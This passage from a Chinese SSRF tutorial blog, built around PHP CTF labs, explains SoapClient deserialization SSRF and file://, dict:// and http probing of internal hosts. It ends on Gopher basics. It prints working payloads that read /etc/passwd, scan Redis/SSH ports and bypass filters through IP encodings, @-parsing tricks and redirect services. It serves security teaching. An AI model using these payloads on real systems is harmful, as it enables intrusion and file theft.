<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li></ul></pre>
<p>构造<code>ssrf.php?url=www.baidu.com</code>即可成功触发ssrf并返回百度主页:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/14fd8eb798aae90c9ee4952bf54ed20f.png" alt="image-20210112231108247"></p>
<h4><a name="t202"></a><a id="SoapClient_3242"></a>SoapClient</h4>
<p>SOAP是简单对象访问协议,简单对象访问协议(SOAP)是一种轻量的、简单的、基于 XML 的协议,它被设计成在 WEB 上交换结构化的和固化的信息。PHP 的 SoapClient 就是可以基于SOAP协议可专门用来访问 WEB 服务的 PHP 客户端。该类的构造函数如下:</p>
<pre data-index="183" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token keyword">public</span> <span class="token class-name static-context">SoapClient</span> <span class="token operator">::</span> <span class="token function">SoapClient</span><span class="token punctuation">(</span><span class="token keyword type-hint">mixed</span> <span class="token variable">$wsdl</span> <span class="token punctuation">[</span>,<span class="token keyword type-declaration">array</span> <span class="token variable">$options</span> <span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token comment">// 第一个参数是用来指明是否是wsdl模式。第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而 uri 是SOAP服务的目标命名空间。</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<p>知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数为一个包含location和uri的数组,location选项的值设置为target_url:</p>
<pre data-index="184" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">// ssrf.php</span>
<span class="token operator"><</span><span class="token operator">?</span><span class="token class-name type-declaration">php</span>
<span class="token variable">$a</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">SoapClient</span><span class="token punctuation">(</span><span class="token constant">null</span><span class="token punctuation">,</span><span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'uri'</span><span class="token operator">=></span><span class="token string single-quoted-string">'http://47.xxx.xxx.107:2333'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'location'</span><span class="token operator">=></span><span class="token string single-quoted-string">'http://47.xxx.xxx.107:2333/aaa'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$b</span> <span class="token operator">=</span> <span class="token function">serialize</span><span class="token punctuation">(</span><span class="token variable">$a</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">echo</span> <span class="token variable">$b</span><span class="token punctuation">;</span>
<span class="token variable">$c</span> <span class="token operator">=</span> <span class="token function">unserialize</span><span class="token punctuation">(</span><span class="token variable">$b</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$c</span><span class="token operator">-></span><span class="token function">a</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 随便调用对象中不存在的方法, 触发__call方法进行ssrf</span>
<span class="token operator">?</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li></ul></pre>
<p>47.xxx.xxx.72监听2333端口,访问ssrf.php,即可在47.xxx.xxx.72上得到访问的数据,如下图所示,ssrf触发成功:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/35df92b31fc60a8226a12713348380f3.png" alt="image-20210112234821125"></p>
<p>由于它仅限于http/https协议,所以用处不是很大。但是如果这里的http头部还存在CRLF漏洞,那么我们就可以进行ssrf+CRLF,注入或修改一些http请求头,详情请看:<a href="https://www.anquanke.com/post/id/202025" rel="nofollow">《SoapClient+CRLF组合拳进行SSRF》</a></p>
<h4><a name="t203"></a><a id="SSRF_3269"></a>SSRF漏洞利用的相关协议</h4>
<ul><li>file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容</li><li>dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等</li><li>gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell</li><li>http/s协议:探测内网主机存活</li></ul>
<h3><a name="t204"></a><a id="_3276"></a>常见利用方式</h3>
<p>SSRF的利用主要就是读取内网文件、探测内网主机存活、扫描内网端口、攻击内网其他应用等,而这些利用的手法无一不与这些协议息息相关。</p>
<p>以下几个演示所用的测试代码:</p>
<pre data-index="185" class="set-code-hide prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">// ssrf.php
<?php
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
// $filename = './curled/'.rand().'.txt';
// file_put_contents($filename, $result);
echo $result;
}
?>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li></ul></pre>
<h4><a name="t205"></a><a id="file_3301"></a>读取内网文件(file协议)</h4>
<p>我们构造如下payload,即可将服务器上的本地文件及网站源码读取出来:</p>
<pre data-index="186" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">ssrf.php?url=file:///etc/passwd
ssrf.php?url=file:///var/www/html/flag.php
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/8c43c2846e2fe537a895c2231640647a.png" alt="image-20210113000529370"></p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/c907361b957f3f8183a60bfe6678aef7.png" alt="image-20210113000640979"></p>
<h4><a name="t206"></a><a id="https_3314"></a>探测内网主机存活(http/s协议)</h4>
<p>一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。</p>
<p>域网IP地址范围分三类,以下IP段为内网IP段:</p>
<ul><li>C类:192.168.0.0 - 192.168.255.255</li><li>B类:172.16.0.0 - 172.31.255.255</li><li>A类:10.0.0.0 - 10.255.255.255</li></ul>
<p>测试环境如下:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/a1f59011598388e32507ab52e9b0167f.png" alt="image-20210113190506825"></p>
<p>假设WEB服务器<span class="words-blog hl-git-1" data-report-view="{"spm":"1001.2101.3001.10283","extra":"{\"words\":\"Ubuntu\"}"}" data-tit="Ubuntu" data-pretit="ubuntu">Ubuntu</span>上面存在上述所说的SSRF漏洞,我们构造如下payload,便可通过Ubuntu服务器发送请求去探测内网存活的主机:</p>
<pre data-index="187" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">ssrf.php?url=http://192.168.52.1
ssrf.php?url=http://192.168.52.6
ssrf.php?url=http://192.168.52.25
......
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre>
<p>为了方便,我们可以借助burpsuite的Intruder模块进行爆破,如下所示:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/c7425ae7acea25f18780040f361c9c64.png" alt="image-20210113120505690"></p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/70b31ac850898f0451b752d61b4e37a4.png" alt="image-20210113120551977"></p>
<p>将爆破的线程尽可能设的小一些。开始爆破后即可探测到目标内网中存在如下两个存活的主机(192.168.52.130和192.168.52.131):</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/9ed231c0e91a77cb4d8d1a7b56dd534b.png" alt="image-20210113120806794"></p>
<h4><a name="t207"></a><a id="httpsdict_3347"></a>扫描内网端口(http/s和dict协议)</h4>
<p>同样是上面那个测试环境:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/fed6508c32c85911eb5b9e5932945a44.png" alt="image-20210113190455756"></p>
<p>我们利用dict协议构造如下payload即可查看内网主机上开放的端口及端口上运行服务的版本信息等:</p>
<pre data-index="188" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">ssrf.php?url=dict://192.168.52.131:6379/info // redis
ssrf.php?url=dict://192.168.52.131:80/info // http
ssrf.php?url=dict://192.168.52.130:22/info // ssh
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/3de515799d7c5090ffce5945ab53d8f1.png" alt="image-20210113190244954"></p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/15b998b72ca28ff8a4b8e62cd6e3defe.png" alt="image-20210113122530377"></p>
<p>同样可以借助burpsuite来爆破内网主机上的服务。</p>
<h3><a name="t208"></a><a id="_3367"></a>相关绕过姿势</h3>
<p>对于SSRF的限制大致有如下几种:</p>
<ul><li>限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。</li><li>限制域名只能为<a href="http://www.xxx.com/" rel="nofollow">http://www.xxx.com</a></li><li>限制不能访问内网的IP,以防止对内网进行攻击。</li><li>屏蔽返回的详细信息。</li></ul>
<h4><a name="t209"></a><a id="HTTP_3376"></a>利用HTTP基本身份认证的方式绕过</h4>
<p>如果目标代码限制访问的域名只能为 <a href="http://www.xxx.com/" rel="nofollow">http://www.xxx.com</a>,那么我们可以采用HTTP基本身份认证的方式绕过。即@:<a href="http://www.evil.com/" rel="nofollow">http://[email protected]</a></p>
<h4><a name="t210"></a><a id="302IP_3380"></a>利用302跳转绕过内网IP</h4>
<p>绕过对内网ip的限制我们可以<strong>利用302跳转</strong>的方法,有以下两种。</p>
<p>(1)网络上存在一个很神奇的服务,网址为 <a href="http://xip.io/" rel="nofollow">http://xip.io</a>,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:</p>
<p>当我们访问:http://127.0.0.1.xip.io/flag.php时,实际访问的是http://127.0.0.1/1.php。像这种网址还有<a href="http://nip.io/" rel="nofollow">http://nip.io</a>,<a href="http://sslip.io/" rel="nofollow">http://sslip.io</a>。</p>
<p>如下示例(flag.php仅能从本地访问):</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/79dfade0277d28179f015493ce4326db.png" alt="image-20210113124813254"></p>
<p>(2)短地址跳转绕过,这里也给出一个网址 https://4m.cn/:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/e1d00647d2671429c85a7364939b25b8.png" alt="image-20201027163528110"></p>
<p>直接使用生成的短连接 https://4m.cn/FjOdQ就会自动302跳转到 http://127.0.0.1/flag.php上,这样就可以绕过WAF了:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/ab186909bb4074eb86546cb75d599a11.png" alt="image-20210113124727560"></p>
<h4><a name="t211"></a><a id="IP_3400"></a>进制的转换绕过内网IP</h4>
<p>可以使用一些不同的进制替代ip地址,从而绕过WAF,这里给出个从网上扒的php脚本可以一键转换:</p>
<pre data-index="189" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:"; // 2130706433
echo $r;
echo "八进制:"; // 0177.0.0.1
echo decoct($r);
echo "十六进制:"; // 0x7f.0.0.1
echo dechex($r);
?>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li></ul></pre>
<h4><a name="t212"></a><a id="127001_3421"></a>其他各种指向127.0.0.1的地址</h4>
<pre data-index="190" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">http://localhost/ # localhost就是代指127.0.0.1
http://0/ # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/ # 在liunx下可用,window测试了下不行
http://[::]:80/ # 在liunx下可用,window测试了下不行
http://127。0。0。1/ # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li></ul></pre>
<h4><a name="t213"></a><a id="_3434"></a>利用不存在的协议头绕过指定的协议头</h4>
<p><code>file_get_contents()</code>函数的一个特性,即当PHP的<code>file_get_contents()</code>函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)</p>
<p>测试代码:</p>
<pre data-index="191" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">// ssrf.php
<?php
highlight_file(__FILE__);
if(!preg_match('/^https/is',$_GET['url'])){
die("no hack");
}
echo file_get_contents($_GET['url']);
?>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li></ul></pre>
<p>上面的代码限制了url只能是以https开头的路径,那么我们就可以如下:</p>
<pre data-index="192" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">httpsssss://
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<p>此时<code>file_get_contents()</code>函数遇到了不认识的伪协议头“httpsssss://”,就会将他当做文件夹,然后再配合目录穿越即可读取文件:</p>
<pre data-index="193" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">ssrf.php?url=httpsssss://../../../../../../etc/passwd
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/cb7228d5a4c47ffde6d9fdcee9b4b815.png" alt="image-20210113130534208"></p>
<p>这个方法可以在SSRF的众多协议被禁止且只能使用它规定的某些协议的情况下来进行读取文件。</p>
<h4><a name="t214"></a><a id="URL_3467"></a>利用URL的解析问题</h4>
<p>该思路来自Orange Tsai成员在2017 BlackHat 美国黑客大会上做的题为<a href="https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf" rel="nofollow">《A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages》</a>的分享。主要是利用readfile和parse_url函数的解析差异以及curl和parse_url解析差异来进行绕过。</p>
<p><strong>(1)利用readfile和parse_url函数的解析差异绕过指定的端口</strong></p>
<p>测试代码:</p>
<pre data-index="194" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">// ssrf.php
<?php
$url = 'http://'. $_GET[url];
$parsed = parse_url($url);
if( $parsed[port] == 80 ){ // 这里限制了我们传过去的url只能是80端口的
readfile($url);
} else {
die('Hacker!');
}
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li></ul></pre>
<p>用python在当前目录下起一个端口为11211的WEB服务:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/d0d4a4dd173e263f1f2d0cd58b9369dc.png" alt="image-20210113133210683"></p>
<p>上述代码限制了我们传过去的url只能是80端口的,但如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过:</p>
<pre data-index="195" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">ssrf.php?url=127.0.0.1:11211:80/flag.txt
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/eaf453d8bce3665ac9629ac5e9574ad4.png" alt="image-20210113133242461"></p>
<p>如上图所示成功读取了11211端口中的flag.txt文件,下面用BlackHat的图来说明原理:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/7f6a721e0d23eb92d31e6bec0aa052e7.png" alt="1610601312_5fffd36035478c41c2c18.png?1610601312696"></p>
<p>从上图中可以看出readfile()函数获取的端口是最后冒号前面的一部分(11211),而parse_url()函数获取的则是最后冒号后面的的端口(80),利用这种差异的不同,从而绕过WAF。</p>
<p>这两个函数在解析host的时候也有差异,如下图:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/2b7c6761d5786ecf06c956be3f46806e.png" alt="1610601347_5fffd383dfc1a3982425f.png?1610601348433"></p>
<p>readfile()函数获取的是@号后面一部分(evil.com),而parse_url()函数获取的则是@号前面的一部分(google.com),利用这种差异的不同,我们可以绕过题目中parse_url()函数对指定host的限制。</p>
<p><strong>(2)利用curl和parse_url的解析差异绕指定的host</strong></p>
<p>原理如下:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/7cc0d6e7839b479986af2c76050f8a5b.png" alt="1610601386_5fffd3aa565a51587d90c.png?1610601386867"></p>
<p>从上图中可以看到curl()函数解析的是第一个@后面的网址,而parse_url()函数解析的是第二个@后面的网址。利用这个原理我们可以绕过题目中parse_url()函数对指定host的限制。</p>
<p>测试代码:</p>
<pre data-index="196" class="set-code-hide prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;// 检查是否是内网ip
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
?>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li><li style="color: rgb(153, 153, 153);">17</li><li style="color: rgb(153, 153, 153);">18</li><li style="color: rgb(153, 153, 153);">19</li><li style="color: rgb(153, 153, 153);">20</li><li style="color: rgb(153, 153, 153);">21</li><li style="color: rgb(153, 153, 153);">22</li><li style="color: rgb(153, 153, 153);">23</li><li style="color: rgb(153, 153, 153);">24</li><li style="color: rgb(153, 153, 153);">25</li><li style="color: rgb(153, 153, 153);">26</li><li style="color: rgb(153, 153, 153);">27</li><li style="color: rgb(153, 153, 153);">28</li><li style="color: rgb(153, 153, 153);">29</li><li style="color: rgb(153, 153, 153);">30</li><li style="color: rgb(153, 153, 153);">31</li><li style="color: rgb(153, 153, 153);">32</li><li style="color: rgb(153, 153, 153);">33</li><li style="color: rgb(153, 153, 153);">34</li><li style="color: rgb(153, 153, 153);">35</li><li style="color: rgb(153, 153, 153);">36</li><li style="color: rgb(153, 153, 153);">37</li><li style="color: rgb(153, 153, 153);">38</li><li style="color: rgb(153, 153, 153);">39</li><li style="color: rgb(153, 153, 153);">40</li><li style="color: rgb(153, 153, 153);">41</li><li style="color: rgb(153, 153, 153);">42</li><li style="color: rgb(153, 153, 153);">43</li><li style="color: rgb(153, 153, 153);">44</li><li style="color: rgb(153, 153, 153);">45</li><li style="color: rgb(153, 153, 153);">46</li><li style="color: rgb(153, 153, 153);">47</li><li style="color: rgb(153, 153, 153);">48</li><li style="color: rgb(153, 153, 153);">49</li><li style="color: rgb(153, 153, 153);">50</li></ul></pre>
<p>上述代码中可以看到<code>check_inner_ip</code>函数通过<code>url_parse()</code>函数检测是否为内网IP,如果不是内网 IP ,则通过<code>curl()</code>请求 url 并返回结果,我们可以利用curl和parse_url解析的差异不同来绕过这里的限制,让<code>parse_url()</code>处理外部网站网址,最后<code>curl()</code>请求内网网址。paylaod如下:</p>
<pre data-index="197" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">ssrf.php?url=http://@127.0.0.1:[email protected]/flag.php
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/eec1a19b2c4fefa690ce3fc914362b59.png" alt="image-20210113134443846"></p>
<p>的 [<a href="https://whoamianony.top/2020/11/24/ctf-bi-sai-ji-lu/2020-shou-jie-xiang-yun-bei-wang-luo-an-quan-da-sai-writeup/#toc-heading-5" rel="nofollow">2020 首届“祥云杯”网络安全大赛]doyouknowssrf</a>这道题利用的就是这个思路。</p>
<h3><a name="t215"></a><a id="Gopher_3584"></a>常见攻击方式(Gopher协议)</h3>
<h4><a name="t216"></a><a id="GopherSSRF_3586"></a>Gopher协议在SSRF中的利用</h4>
<p>Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用TCP 70端口。但在WWW出现后,Gopher失去了昔日的辉煌。</p>
<p>现在的Gopher协议已经很少有人再使用它了,但是该协议在SSRF中却可以发挥巨大的作用,可以说是SSRF中的万金油。由于Gopher协议支持发出GET、POST请求,我们可以先截获GET请求包和POST请求包,再构造成符合Gopher协议请求的payload进行SSRF利用,甚至可以用它来攻击内网中的Redis、<span class="words-blog hl-git-1" data-report-view="{"spm":"1001.2101.3001.10283","extra":"{\"words\":\"MySql\"}"}" data-tit="MySql" data-pretit="mysql">MySql</span>、FastCGI等应用,这无疑大大扩展了我们的SSRF攻击面。</p>
<h5><a id="Gopher_3592"></a>Gopher协议格式</h5>
<pre data-index="198" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流
# 注意不要忘记后面那个下划线"_",下划线"_"后面才开始接TCP数据流,如果不加这个"_",那么服务端收到的消息将不是完整的,该字符可随意写。
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<ul><li>gopher的默认端口是70</li><li>如果发起POST请求,回车换行需要使用<code>%0d%0a</code>来代替<code>%0a</code>,如果多个参数,参数之间的&也需要进行URL编码</li></ul>
<blockquote>
<p>那么如何利用Gopher发送HTTP的请求呢?例如GET请求。我们直接发送一个原始的HTTP包不就行了吗。在gopher协议中发送HTTP的数据,需要以下三步:</p>
<ol><li>抓取或构造HTTP数据包</li><li>URL编码、将回车换行符<code>%0a</code>替换为<code>%0d%0a</code></li><li>发送符合gopher协议格式的请求</li></ol>
